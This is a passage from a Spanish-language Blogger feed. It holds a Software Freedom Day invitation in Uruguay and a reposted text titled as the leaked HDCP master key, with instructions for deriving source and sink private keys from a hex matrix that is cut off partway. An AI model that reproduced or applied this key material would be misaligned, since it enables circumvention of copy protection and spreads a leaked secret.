type='text/html' href='http://dclavijo.blogspot.com/2010/09/dd-wrt-en-linksys-wtr54gv6.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/451332907090808797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/451332907090808797'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/dd-wrt-en-linksys-wtr54gv6.html' title='dd-wrt en Linksys wtr54gv6'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6883067626124871673</id><published>2010-09-17T16:42:00.000-07:00</published><updated>2010-09-17T16:42:56.818-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software libre'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Día de la Libertad del Software</title><content type='html'>:: Software Freedom Day ::&lt;br /&gt;&lt;br /&gt;Invitación&lt;br /&gt;&lt;br /&gt;Sábado 18 de Septiembre, 14:00 hs.&lt;br /&gt;&lt;br /&gt;Museo Nacional de Artes Visuales, Sala de Conferencias.&lt;br /&gt;&lt;br /&gt;Julio Herrera y Reissig esq. Tomás Giribaldi&lt;br /&gt;&lt;br /&gt;Invitamos a todo grupo o individuo, conforme o afín a la Comunidad del&lt;br /&gt;Software Libre del Uruguay, a participar de esta reunión.&lt;br /&gt;&lt;br /&gt;Tras los cambios experimentados a través de los últimos años, en lo que&lt;br /&gt;alguna vez fue un ecosistema pequeño, esta vez, en lugar de la típica&lt;br /&gt;jornada de charlas públicas, amerita convocar a una jornada de&lt;br /&gt;conciliación e integración "interna".&lt;br /&gt;&lt;br /&gt;La idea es: realizar un plenario, completamente abierto, donde podamos&lt;br /&gt;plantear y discutir todas las iniciativas e ideas de la comunidad.&lt;br /&gt;&lt;br /&gt;Algunas que nos gustaría poner en consideración:&lt;br /&gt;&lt;br /&gt;* Presentarse ante autoridades de gobierno, nacionales y&lt;br /&gt;departamentales, y ante la CUTI, CIU, etc., como Comunidad Uruguaya de&lt;br /&gt;Software Libre, para plantear iniciativas sobre el uso de Software&lt;br /&gt;Libre, y explicar sus beneficios.&lt;br /&gt;&lt;br /&gt;* Pedir participación en órganos donde se decidan políticas de&lt;br /&gt;Tecnologías de la Información.&lt;br /&gt;&lt;br /&gt;* Crear una organización formal (con personería jurídica) que defienda&lt;br /&gt;los principios del Software Libre en el Uruguay. Pensamos que aunando&lt;br /&gt;esfuerzos, esta vez, es posible concretar esta iniciativa que creemos&lt;br /&gt;imprescindible.&lt;br /&gt;&lt;br /&gt;* Idear mecanismos para coordinar, y compartir información, referente a&lt;br /&gt;eventos, noticias e iniciativas.&lt;br /&gt;&lt;br /&gt;* Hacer un relevamiento (en principio con los concurrentes), sobre&lt;br /&gt;empleadores, especialización, e intereses educativos.&lt;br /&gt;Esto es muy importante, por ejemplo: en la búsqueda de sponsors,&lt;br /&gt;futuros eventos, invitar a dar charlas en los mismos, facilitar la&lt;br /&gt;organización de grupos de investigación y estudio. Toda la información&lt;br /&gt;recabada será publicada, en principio de manera anónima, y se harán&lt;br /&gt;públicos aquellos datos a los cuales los integrantes accedan divulgar.&lt;br /&gt;&lt;br /&gt;Al terminar, pensamos hacer una merienda compartida en los jardines del&lt;br /&gt;Museo, para seguir conociéndonos e integrándonos.&lt;br /&gt;&lt;br /&gt;Cabe destacar que no se pretende imponer un orden del día, eso quedara a&lt;br /&gt;criterio de los presentes. Cualquier propuesta será bienvenida y&lt;br /&gt;considerada bajo los mismos términos que las antes mencionadas.&lt;br /&gt;&lt;br /&gt;Creemos firmemente que ya es hora de que la comunidad del Software Libre&lt;br /&gt;Uruguaya muestre todo lo que tiene para ofrecer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¡Los esperamos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6883067626124871673?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6883067626124871673/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/dia-de-la-libertad-del-software.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6883067626124871673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6883067626124871673'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/dia-de-la-libertad-del-software.html' title='Día de la Libertad del Software'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5319261414308611802</id><published>2010-09-15T18:27:00.000-07:00</published><updated>2010-09-15T18:27:19.104-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>El numero de la bestia 2</title><content type='html'>Aquí dejo un texto que encontré pululando en la internet...&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;HDCP MASTER KEY (MIRROR THIS TEXT!)&lt;br /&gt;&lt;br /&gt;This is a forty times forty element matrix of fifty-six bit&lt;br /&gt;hexadecimal numbers.&lt;br /&gt;&lt;br /&gt;To generate a source key, take a forty-bit number that (in&lt;br /&gt;binary) consists of twenty ones and twenty zeroes; this is&lt;br /&gt;the source KSV. &amp;nbsp;Add together those twenty rows of the matrix&lt;br /&gt;that correspond to the ones in the KSV (with the lowest bit&lt;br /&gt;in the KSV corresponding to the first row), taking all elements&lt;br /&gt;modulo two to the power of fifty-six; this is the source&lt;br /&gt;private key.&lt;br /&gt;&lt;br /&gt;To generate a sink key, do the same, but with the transposed&lt;br /&gt;matrix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6692d179032205 b4116a96425a7f ecc2ef51af1740 959d3b6d07bce4 fa9f2af29814d9&lt;br /&gt;82592e77a204a8 146a6970e3c4a1 f43a81dc36eff7 568b44f60c79f5 bb606d7fe87dd6&lt;br /&gt;1b91b9b73c68f9 f31c6aeef81de6 9a9cc14469a037 a480bc978970a6 997f729d0a1a39&lt;br /&gt;b3b9accda43860 f9d45a5bf64a1d 180a1013ba5023 42b73df2d33112 851f2c4d21b05e&lt;br /&gt;2901308bbd685c 9fde452d3328f5 4cc518f97414a8 8fca1f7e2a0a14 dc8bdbb12e2378&lt;br /&gt;672f11cedf36c5 f45a2a00da1c1d 5a3e82c124129a 084a707eadd972 cb45c81b64808d&lt;br /&gt;07ebd2779e3e71 9663e2beeee6e5 25078568d83de8 28027d5c0c4e65 ec3f0fc32c7e63&lt;br /&gt;1d6b501ae0f003 f5a8fcecb28092 854349337aa99e 9c669367e08bf1 d9c23474e09f70&lt;br /&gt;&lt;br /&gt;3c901d46bada9a 40981ffcfa376f a4b686ca8fb039 63f2ce16b91863 1bade89cc52ca2&lt;br /&gt;4552921af8efd2 fe8ac96a02a6f9 9248b8894b23bd 17535dbff93d56 94bdc32a095df2&lt;br /&gt;cd247c6d30286e d2212f9d8ce80a dc55bdc2a6962c bcabf9b5fcbe6f c2cfc78f5fdafa&lt;br /&gt;80e32223b9feab f1fa23f5b0bf0d ab6bf4b5b698ae d960315753d36f 424701e5a944ed&lt;br /&gt;10f61245ebe788 f57a17fc53a314 00e22e88911d9e 76575e18c7956e c1ef4eee022e38&lt;br /&gt;f5459f177591d9 08748f861098ef 287d2c63bd809e e6a28a6f5d000c 7ae5964a663c1b&lt;br /&gt;0f15f7167f56c6 d6c05b2bbe8800 544a49be026410 d9f3f08602517f 74878dc02827f7&lt;br /&gt;d72ef3ea24b7c8 717c7afc0b55a5 0be2a582516d08 202ded173a5428 9b71e35e45943f&lt;br /&gt;&lt;br /&gt;9e7cd2c8789c99 1b590a91f1cffd 903dca7c36d298 52ad58ddcc1861 56dd3acba0d9c5&lt;br /&gt;c76254c1be9ed1 06ecb6ae8ff373 cfcc1afcbc80a4 30eba7ac19308c d6e20ae760c986&lt;br /&gt;c0d1e59db1075f 8933d5d8284b92 9280d9a3faa716 8386984f92bfd6 be56cd7c4bfa59&lt;br /&gt;16593d2aa598a6 d62534326a40ee 0c1f1919936667 acbaf0eefdd395 36dbfdbf9e1439&lt;br /&gt;0bd7c7e683d280 54759e16cfd9ea cac9029104bd51 436d1dca1371d3 ca2f808654cdb2&lt;br /&gt;7d6923e47f97b5 70e256b741910c 7dd466ed5fff2e 26bec4a28e8cc4 5754ea7219d4eb&lt;br /&gt;75270aa4d3cc8d e0ae1d1897b7f4 4fe5663e8cb342 05a80e4a1a950d 66b4eb6ed4c99e&lt;br /&gt;3d7e9d469c6165 81677af04a2e15 ada4be60bc348d dfdfbbad739248 98ad5986f3ca1f&lt;br /&gt;&lt;br /&gt;971d02ada31b46 2adab96f7b15da 9855f01b9b7b94 6cef0f65663fbf eb328e8a3c6c5d&lt;br /&gt;e29f0f0b1ef2bf e4a30b29047d31 52250e7ae3a4ac fe3efc3b8c2df1 8c997d15d6078b&lt;br /&gt;49da8b4611ff9f b1e061bc9be995 31fd68c4ad6dc6 fd8974f0c506dd 90421c1cd2b26c&lt;br /&gt;53eec84c91ed17 5159ba3711173b 25e318ddceea6a 98a14125755955 2bb97fd341cea2&lt;br /&gt;3f8404769a0a8e bce5c7a45fb5d4 9608307b43f785 2a98e5856afe75 b4dbead4815cac&lt;br /&gt;d1118af62c964a 3142667a5b0d14 6c6f90933acd3d 6b14a0052e2be4 1b1811fda0f554&lt;br /&gt;12300aa7f10405 1919ca0bff56ea d3e2f3aad5250c 4aeeea5101d2ec 377fc499c07057&lt;br /&gt;6cb1a90cdb7b11 3c839d47a4b814 25c5ac14b5ec28 4ef18646d5b9c2 95a98cc51ebd3b&lt;br /&gt;&lt;br /&gt;310e98028e24de 092ffc76b79f44 0740a1ca2d4737 b9f38966257c99 a75afc7454abe4&lt;br /&gt;a6dd815be8ccbf ec2cac2df0c675 41f7636aa4080f 30e87b712520fd d5dfdc6d3266ac&lt;br /&gt;ee28f5479f836f 0bf8ee2112173f 43ae802fa8d52d 4e0dffd36c1eac 3cbda974bb7585&lt;br /&gt;fb60a4700470e3 d9f6b6083ef13d 4a5840f02d0130 6c20ef5e35e2bf dad2f85c745b5b&lt;br /&gt;61c5ddc65d3fc9 7f6ec395d4ae22 2b8906fb3996e2 e4110f59eb92ac 1cb212b44128bb&lt;br /&gt;545afda80a4fd1 b1ffea547eab6b fac3d9166afce8 3fe35fe17586f2 9d082667026a4c&lt;br /&gt;17ffaf1cb50145 24f27b316acfff b6bb758ec4ad60 995e8726359ef7 c44952cb424035&lt;br /&gt;5ec53461dbd248 40a1586f04aee7 49ea3fa4474e52 c13e8f52c51562 30a1a70162cfb8&lt;br /&gt;&lt;br /&gt;ccbada27b91c33 33661064d05759 3388bb6315b036 0380a6b43851fb 0228dadb44ad3d&lt;br /&gt;b732565bc37841 993c0d383cfaae 0bea49476758ac accc69dbfcde8b f416ab0474f022&lt;br /&gt;2b7dbcc3002502 20dc4e67289e50 0068424fde9515 64806d59eb0c18 9cf08fb2abc362&lt;br /&gt;8d0ee78a6cace9 b6781bd504d105 af65fab8ee6252 64a8f8dd8e2d14 cb9d3354e06b5b&lt;br /&gt;53082840d3c011 8e080bedab3c4c e30d722a455843 24955a20397c17 82495c1c5114e8&lt;br /&gt;656e71c31d813d 1f0a6d291823a1 6327f9534353fa b89529c2f034fb 70e9b12205c7b3&lt;br /&gt;a06c87969407a2 520bfa2fe80f90 da1efc3d345c65 313936ec023811 a8cc87128be2fa&lt;br /&gt;4cd0e8645ee141 be7975519e2b63 9543d23113c2a8 3d87b0da033f22 df0464c704e9d4&lt;br /&gt;&lt;br /&gt;7e1a30947e867e 014ae464b37935 5c4babf689fa4e c4aec0cb01cc35 328c0e4a0230e4&lt;br /&gt;fdacb93b419594 26deefc8a553e6 6e75a2d790cb55 2c4554518f7396 94b77184cb145d&lt;br /&gt;95f883f620a8bb edff42866a2783 7b4ee6304b711d ed56e077a4b9fb c4e60e687ff6c3&lt;br /&gt;0cbf144b8f64d5 023dd10a35eddd beaa3323e999c6 d2e016b31c38c4 8d2917a888f799&lt;br /&gt;18c3abd28e736b 8d38e69b4966cc 624db0143dd2e7 5e2fa510f632b7 ee6e64d45b139a&lt;br /&gt;a1c6d852e74be7 429843b9e6bb7e db9ab07c8dc267 9efa092299f071 dcca9e0e61e960&lt;br /&gt;94406fac95f1d8 d19122f3f88782 1b11a662e9c83f d161fd6fb7f032 89f7d984da9d48&lt;br /&gt;a3583fea45fe58 885e2c4839e254 47e87235f713b1 f4732e05b71aee ae026d063f4349&lt;br /&gt;&lt;br /&gt;0a481d2db197af abfce1039d4ac0 4a6b89d2d1aeac 0842eb7178cc53 b82ce2835f1937&lt;br /&gt;3b4002ca21d6b6 e64a78a78abb27 8bd6142ad04526 e035dacb23624a 4cf80110135771&lt;br /&gt;7a52fafc92745e efa28a290ea782 735617cd8b0221 b095e9f4b286a5 021e9ba0727645&lt;br /&gt;3e58e9ec16ed1c d7732bb5ba99a6 374bde43fa89a9 cb83e5ef2e4d04 1da4f73566d134&lt;br /&gt;e01da194625c25 d62018764d7473 64643721313d24 5a01badd970941 481c9578781414&lt;br /&gt;a4d3faa92d1fef bd4b247d37862a 5332a7ca3c2ca6 393ee51989d5a9 01a6e564040d37&lt;br /&gt;390c472ee27892 f0217fe009e9b4 5d3f04da415b35 612ecd5b8e4eac 757e27d2169f2d&lt;br /&gt;92853b737b7526 9ac837c86476df e956c2b45ebd5e d4fa6da687ac39 60f4343669ddd3&lt;br /&gt;&lt;br /&gt;64b8d778e72e78 f86cd55efe92b8 a9adbf2e728440 966c8282cee1f9 ea195972b883f4&lt;br /&gt;46ac03b37e7f24 744df253954ae5 22e3f9a0adbc58 6add7c7d8a2961 ba963e4912d17c&lt;br /&gt;2840ac28fcfad9 8d8ec3ad6dfc32 a3c788dd094910 e65ebb61dabb5f b50e906b28c881&lt;br /&gt;003b11eb83e6a9 a2fac0595b138d 3d55a28f915330 c343bd1849a085 54c786629d2b42&lt;br /&gt;1d465cb22ccbc2 d8f87fd52aded1 ecb34f46656b71 b4cbe50f839f2c 2df6a553cc3698&lt;br /&gt;40b2dd25f26d51 492f3c5c6fa566 f80dd453864548 d4be786d8735d9 e364511a0fb62d&lt;br /&gt;3c2df64d6d1c9f f640e4ef4186be 41773025d6ff57 6147e75d7df3f5 49809548639d16&lt;br /&gt;01067ef6034247 4e7c1b20deb154 3f8172a6b98ea0 b0691d4b575801 136a88607a3e5b&lt;br /&gt;&lt;br /&gt;0180058ca8742e 972bc2ca1c4cb6 7b05bbc57e63df 5f01049697eaa2 c537f3121384dc&lt;br /&gt;edb1fa0b34f132 689b1374cafe25 802d7bca5c6674 f8e01e75e9eb3d a59c2d9126d85d&lt;br /&gt;f10f603f8c4fd9 d5a358aa84b2d5 f8320f2a3bd078 019bcf0dabb5c3 43dd8dd5e173f0&lt;br /&gt;45169f788a0233 d62daee0e9839c 7d673cf77a53d2 008730faf272d0 3c08080778ae8d&lt;br /&gt;920e40fad87d7e bf118230ffb194 692baf40b951b4 83549affe4e382 68e172f86a40b3&lt;br /&gt;aa5e2c1b74636d c3d7809ac68aae 33c344fd9bcc33 6e6057dc7d71f0 bceef547db57fa&lt;br /&gt;ec91cc1056e4b5 8153f00c8ef4f8 a2ca943ab03915 079a070121782d d592dcec23dd3f&lt;br /&gt;44ba5fe5078279 e6f8ed790ffa59 e7877e834b4391 d1ca3db32bccd7 b382e35bff1ba1&lt;br /&gt;&lt;br /&gt;96cb3b9ef8671e 70342fff9216a5 d635530148dcc6 bf40909f72ba4b e3697761ac11f1&lt;br /&gt;f2a77a5f435c5c a57729bb9aaf37 14f78a30f9bf6f 1a7fe7f0271b01 0b224bc83ef07b&lt;br /&gt;0d409ce2157473 adefa793287d48 a6b13ce8e00a7f 74d735fd54a00b e2dc16285d1b5a&lt;br /&gt;8b3d55371ce703 bb3909153586b6 03c8c622aa53e9 89ee3322e069aa 325ce41fbd0175&lt;br /&gt;2cd1326421cd83 3c47eed2daadda 87c2177de0c63f 39b496d688c971 179359349f5e0e&lt;br /&gt;3cfa9ea9345dbc 47b1948cbfe45f 2a13b18cf3a0d1 00b03fc13e6cde 656ef26757f5d1&lt;br /&gt;7c584630c27fb2 02f2e14ca8a67e fcfec527978154 4ec09910379625 e90fc0a898a5b7&lt;br /&gt;5beb0f3ee5d03a 2383832708cfb7 6905747e27453e 1714e418f0f0a3 53bcdef0965e8d&lt;br /&gt;&lt;br /&gt;2c9b5813b90c3c bb9a20c8ebb80e 045e04f3d57918 6fe6ffb0718731 201760abf11c27&lt;br /&gt;e289872adda7e1 233e7ef2b2c83b 423b4c0ba711db 334b15e5bd4c01 034d1e41bff0e8&lt;br /&gt;58a436cce28ea3 e6ef4d94b49962 ec8728db63716b 8c8ffc95c21b06 0beb50502d9acb&lt;br /&gt;c1eb732268091a e45e0c30cfed36 31d58c384bc3e4 8a26ae8b7a5c60 83991e11e8a21e&lt;br /&gt;e4f193c0183e07 691fbbf9ccb4c2 4e5214fae905d8 2052c969e9699d f6cea5a6157de3&lt;br /&gt;fd84477a6bad8e 04f37758724bc3 a491d0fd8f084e 19933cec5f51f0 93794e76e1f29b&lt;br /&gt;ebd1f1c057b30c 7ec220fa6d31d9 867d711c9a7674 a700cf5f177e37 cf3fae5da3ddc4&lt;br /&gt;4e8030990c7917 553a5ce2abaaa4 c2296c42e2dcea 19ae4f9b654581 66d5fff1163703&lt;br /&gt;&lt;br /&gt;bb5085e0e7d595 12605df8a35f9f 35c6d572c28ea5 5099437e5f5595 fb45cdaa8872f1&lt;br /&gt;6e012db5feedc3 1ba0e5515be76f b793b687fbf1dd 9d2c01063d4ca1 c2e6fde5bc3a1c&lt;br /&gt;c17b11e1a33418 436fcacef170c5 e4c3cbc3066618 2063665d2a1b84 a8b5b4f2e58850&lt;br /&gt;ce74bcbc892d71 b312d96806cdc8 82d9c95678fff1 5d8a0120206c3c 621f13db39bd6e&lt;br /&gt;4a5db4815f181d 8dae6e596cebd5 1b8b1681dd4918 1dbcbd79f8e5ff 135064b0968c4e&lt;br /&gt;d81e91507c1e96 ce08e072644e54 e1648d32befadc d0b7f41fca118d 7b9291b680b18a&lt;br /&gt;10ab9a2fb4f9a0 9f462d2370dd03 bb453f4b48b2ea b3c3e6d63c2559 be4aa3d8e8f129&lt;br /&gt;90af78e01d25c9 2e06a8715063da 988dbf792de669 17eabe5b043c41 b1f700946e4ad2&lt;br /&gt;&lt;br /&gt;e329ae8a66581e 4a5bda0ff2a313 79577080aaac8c 0dd34f4f929df3 0f5e87f82b9b1f&lt;br /&gt;1ead67333c42d5 ebac8fb8797375 dc26965e625abb 953ce074d8c84c 2edd54991b2104&lt;br /&gt;a45196065c2bca 98f56533f328bf 8560a1a390e921 37d2506aff3d7b f88576a47d273e&lt;br /&gt;562b7c9592ffdc 2d0ff0ba59787b 4dd89971bd39a6 7a4a778d69a4cc 58bad18bf5fc74&lt;br /&gt;5cac8d53dcc72c ba7e9c7a2b57d7 ff544acc98f08f 1d22f503712081 cf868290f04def&lt;br /&gt;ba48ab7c61a8ab 3ca439f055f713 2401e3a43338e0 b7c4b19cf1edc8 37db6b0d8991a7&lt;br /&gt;10ede95c9c35e6 a8f021fc870126 6e5909a7f3217b 33772e647266ff a5c8fd0c786e0f&lt;br /&gt;04f0bb34025c67 cc33c6a49bf101 45c563f33f807d 6e95e9c2b5e349 3a0e55d42d44b7&lt;br /&gt;&lt;br /&gt;611138d0e928dd 24d7958e8e6149 c66faf12b50f45 eaa5eb19337961 e68c81cb35d5d3&lt;br /&gt;ed1fe1f1b8d443 612ca593de8afe 6c15ee22ffb8b0 c27152ca5a1e77 0133b8165e3ed1&lt;br /&gt;608c9c1a6ca4aa df5272bd1b6425 6f7efc5b2bbfa0 b49b5f0c67ee30 f4ef0e7ed820cb&lt;br /&gt;4b14d077b672ce 3a60f2386c0218 9e8d6e5f6caddf a53ccecbae8684 d3183beeba0cef&lt;br /&gt;4cd21e6afc08e8 5db41995d15a93 6afe570246af77 d0994bc305b27f 2de99a0885c909&lt;br /&gt;1629a47aaa161f 0f6b6d45ff8967 cfc4e83f5b469c cc22586cab3936 29e6b3f94d122e&lt;br /&gt;83f00e419d8980 bb282b6f3efdef 30d80463fb25e0 1846f8f1b935d3 3c03ed5243b7b4&lt;br /&gt;cb6b0e6e4c770f 8bc2856390163a 73a332bc2ebabd b3aeafedbc8c08 74ff7726398cd4&lt;br /&gt;&lt;br /&gt;0071d5d3644b97 45dd1ae0369e9a c1f518cd384512 b933bc25cb3402 9377c50007d647&lt;br /&gt;e609eb009c9245 7d99fff828ba6e 9f0adcca6cd0a9 5c5cf8366b699f f00f513ad9e29d&lt;br /&gt;7c2ecfdb5afe40 1f131691f0677b 30e1df0cce8710 f3c52df030e941 b2bb6b650cf2d7&lt;br /&gt;012a5a2d11f1b4 4699b78e898918 977b2e06972b36 674e2619e6be97 93007948f99eee&lt;br /&gt;af2b5b80b81bb3 417446ac93bc16 14fb20c6ab0e24 3ffc77d1672771 36580afea2edec&lt;br /&gt;48942ed95911c5 fa312a7aca8f83 992e36a47ef1db 3937ff39b1a9b5 2af79ef5c48c64&lt;br /&gt;6c88d58111a0b7 b6fa6dc5f7c8dc b1acc64f2b083d 332baac65b4feb e58dae530ad4af&lt;br /&gt;0fbdb072d0ba36 e2607b065b6fe4 f803ae22cb2a6c 9b639dd91166cc f5e430b9cece8c&lt;br /&gt;&lt;br /&gt;687c1dc2ac5898 b429122b168f1c 4248f91ae51605 1c24d7f1578ba6 1dec5a6c003598&lt;br /&gt;e3c04b01a812a7 2df7909352cece de31efaffdd0d4 e4a7f11873ec87 4768f7b8d77583&lt;br /&gt;23b6f7bae4521f 8fbf571e568d5a 577ad8b71f3721 718b68ac1ada36 e10689cc83ea91&lt;br /&gt;43f73798b295f7 6e2b078c8d68e5 613c3bb265ca36 d25d07032b8c80 843fe3783b5959&lt;br /&gt;e918f7789f0d33 afac1cb1534684 0fb3c6c442a94b 167f58645b56c2 76132472470129&lt;br /&gt;590ae9be533d39 75adfeba5e6230 30dea290d933d7 08cc4d30a4af39 09bc69be193a2f&lt;br /&gt;f7f8ff9f03af3b 3ad1a453e9dde4 a534709b6e15c7 c6ce7d4efd42e9 5e947977595b68&lt;br /&gt;ca674d0c7541e9 97f178a43b6057 137a6483c7653a 49f1eec3082cc7 70824eb5bebf04&lt;br /&gt;&lt;br /&gt;cf95519563f7c7 cef140efdaa431 4f8ddc5fb70009 27710736a485cd 41b05dfead9e7a&lt;br /&gt;dcbf8e83a3a89a 23e46b5a421a08 84f0fb922099a4 120b226eedd549 cf4706582b36f4&lt;br /&gt;e3b718cabb9c11 03db1daab9520a 3a29a8c65c45f6 0219e82dbeb36b b351c498a8dda8&lt;br /&gt;0ba2a5607f3bf6 0b95be14721f63 62d3b4d2b1fc16 f46a95de23a55e b70c2f136e83eb&lt;br /&gt;a0b215f5837e73 d76368870bd5bc 0372cf15e7ff03 c992d958598014 1fb03e9712f2c4&lt;br /&gt;a73b9107699fb2 239ad1d706b5f3 3623dab66fefc1 8b5e04ac40e7ed 77eaadd7c4d35c&lt;br /&gt;b3ba11dde839a2 621e7ab334235d 29f2ed9f1990d9 e0d731952272a4 d31f58d8cfad64&lt;br /&gt;57690ff74579fe e78fb0fe43c6cf b127e3c5c7da88 1765c8883fcd01 dc0028f618172d&lt;br /&gt;&lt;br /&gt;07d8f79c0e5b79 bdff41e18ee3b3 0990bd1c710888 b0ef52eb6da5bd b790ff7419e17d&lt;br /&gt;22ab4221d42b9a 35bec4ded01a53 6a2f35fd63b686 db66f3c21b9291 165a5fd321d034&lt;br /&gt;f2ea034bd3a6b6 4d47388e2680b7 018dd250cfd53b 53babaed27080a 73c54d98e4a365&lt;br /&gt;6a77f2e71cfab6 4f9539f7e67a64 c35beaa6ab5528 1698a8ee44d10d 01e623ff7096e8&lt;br /&gt;96a68072d59c56 6baba4b0d232ee 725a1f9e0fbeb1 97728ef73b9a8e 16ecfe23a3bdb6&lt;br /&gt;f035aac743b427 202c094281f68b 1c8be9e39e4591 0959fad0920ae6 15a97f475dc632&lt;br /&gt;a3fc9e9363688a 89cea147f0339b d1ffe6e68570d2 329a0b16c32fa2 cbd5818383dd8f&lt;br /&gt;c26f57abe7c8cd 4d680e55e8a77d feefbd47b284a3 41bc9077e7df69 1c32ea11a0df3c&lt;br /&gt;&lt;br /&gt;2ea8501eab0c69 63dff30ea51c9f 8de69a045d957b 4036f90d8e90b7 5886f2e5059e5d&lt;br /&gt;7341e707011eca 8d6006677dabf1 2c6f2040741941 5058a43d3958d2 29eee2b01178b8&lt;br /&gt;eb9e382e6ea2e5 62e44ce8f6b19e a5b4444f78d77d c12755f1de34c7 8fd001eb8d0d91&lt;br /&gt;8a3ece83c541b5 659f736aca9076 1c1864cc5b30f1 1b9f901459a142 f5571fc19f94a3&lt;br /&gt;39e842e17176ca ed2a1659a97f8e 625e74d131b3da bdbdfeaa0366bd 95ebf86c33a687&lt;br /&gt;4a09faea206cd1 29f59174377238 908e6c956350cb 686a225a26548c a45140d1ed5b76&lt;br /&gt;75e9ea2087732c 14dd568be007bf 3668e3791bdd4b 56f9aa39df5785 e7b37c964271c9&lt;br /&gt;c5211e837c726e 374513cd4cd34f a5c71ff1a4195e 4e234c5adc13b4 75093fc66c8faf&lt;br /&gt;&lt;br /&gt;2ec02dd6ea2715 d8676bb21e7f0b b4c22ceadbd907 9ccaf78857ea36 a28da605bbf2d8&lt;br /&gt;723651fb07c86a 07039b49d2fa32 40dbb6dc2ef93d da48f7e9d5eb92 45bc6190b3a9e4&lt;br /&gt;fc84b55352b994 25f44b36a3fb83 d09a8f4ab7d78e 0829201a523b21 966e0098395656&lt;br /&gt;5984c4e317d930 581dd2ab677c99 a92a70424c5aae 4ea1dbaca67de1 e45918a0d6d560&lt;br /&gt;1e5c75efdd907f 99a6e56cbb015f 04fd11c8ae4d05 83a72f3e967bb6 2ddf23b892d1e5&lt;br /&gt;d648bbe9e5f8d3 d4b128d667ff6a 781dcd435b03f4 1a1cb99fc298e1 69d80c51941a26&lt;br /&gt;5263476c788bb7 db0b584b59ec8d d95a4e9a6a95c5 5263b0eb0cc8d4 98e62e5116ab09&lt;br /&gt;97564c79d4b733 39d708c3284fb2 d2cd596efe674a a9e3b1f33b4473 70b30aa67c0c2c&lt;br /&gt;&lt;br /&gt;3532c9874c8ce5 680a796f9db4b3 64e5825663090f eb0a67604f3f9b 7c4716c88afa20&lt;br /&gt;cecf4b6b1467f8 342600406fe556 200290eea56903 36562b6cff764c b02d3847d68f8f&lt;br /&gt;a26c2ab20fe063 5de36be096db8d ac5998b94e3c17 4c8808ebb9bf53 4bbf0a436470da&lt;br /&gt;d3875253f7b0a9 a99369bfede348 8c3391fd3a5f95 5005f88c89d735 acd8196d21d41b&lt;br /&gt;5ba2ce34f48817 da3e7f4332994f 8cfe88c8ae18af e4df8b64d16e61 b0f200ab8229f9&lt;br /&gt;5a15b4ad681a60 350a1bb85a5708 f5731809fe17da 9da29858778783 e496533ffbda6c&lt;br /&gt;a590c76b953dff edbf61ba227191 f7fd713fd0b4bf 4a5e6df9905845 42ed273f1fee88&lt;br /&gt;e56d34cbb2866d cc76209f9773ec 4c21238f991ec6 7adff263cb22b1 4fb41d94f97f42&lt;br /&gt;&lt;br /&gt;f26d90e0b24a1a 37fe90421cee92 5cd69e29e95550 bec2bff0431bc0 6acc812fa97ad4&lt;br /&gt;4f19e44dd33a0e d9280b1ae70cff 6575a036db7f1e 7bf2ed31bcef8e 45dfb49b8dc51d&lt;br /&gt;e1fd10fb1b59b8 092da05f342c0a 01fa56a0375319 c1f5ad03dc627a cb1f2c96f11444&lt;br /&gt;5d67a093467a43 a832f56266f0bf 7a464d7fab7c48 42561af703a045 c1c9b270211af3&lt;br /&gt;edcaf802cfd336 6f9ba5cc39c3dc 585554fa4224ca 4a7216b8d2dd3e 16c2d8b31e6fa9&lt;br /&gt;e9ae301e1bfa98 ac8389842b368a 158c5060209885 c01a2c3f5b7bca d20124920faa1c&lt;br /&gt;a2217820d1fa40 803272c88d1844 c2554237c9ecc8 d25f509a6db1de 325148c1726f18&lt;br /&gt;398c66b1339048 8c8c43dd7f2c26 24cf4ec93ee498 54618829620375 eb494db615a50f&lt;br /&gt;&lt;br /&gt;69e1fb949b4215 3e02e353426513 bf6ea2adefdded fbbb781d40e52c d6ebec825d94a0&lt;br /&gt;3f84de44b6fd50 0b466ea0458290 3a77f7804e0c62 b0ce750e2b2078 69f346f188a43a&lt;br /&gt;24ef26f7c284a3 544ea716d5498b 3e1f23b1154dcf 6d5c580dbec7f0 120302c7a16ee0&lt;br /&gt;bae4ae638ee502 60cd112182bd84 dbc443744789a8 7faefcebed3a2c 579c0f77cfa536&lt;br /&gt;0d920b050cb068 fb2fc616ee5eb8 3b7082e645d419 40df3b620a8474 df360190d74ec7&lt;br /&gt;28f0d33396ee1e 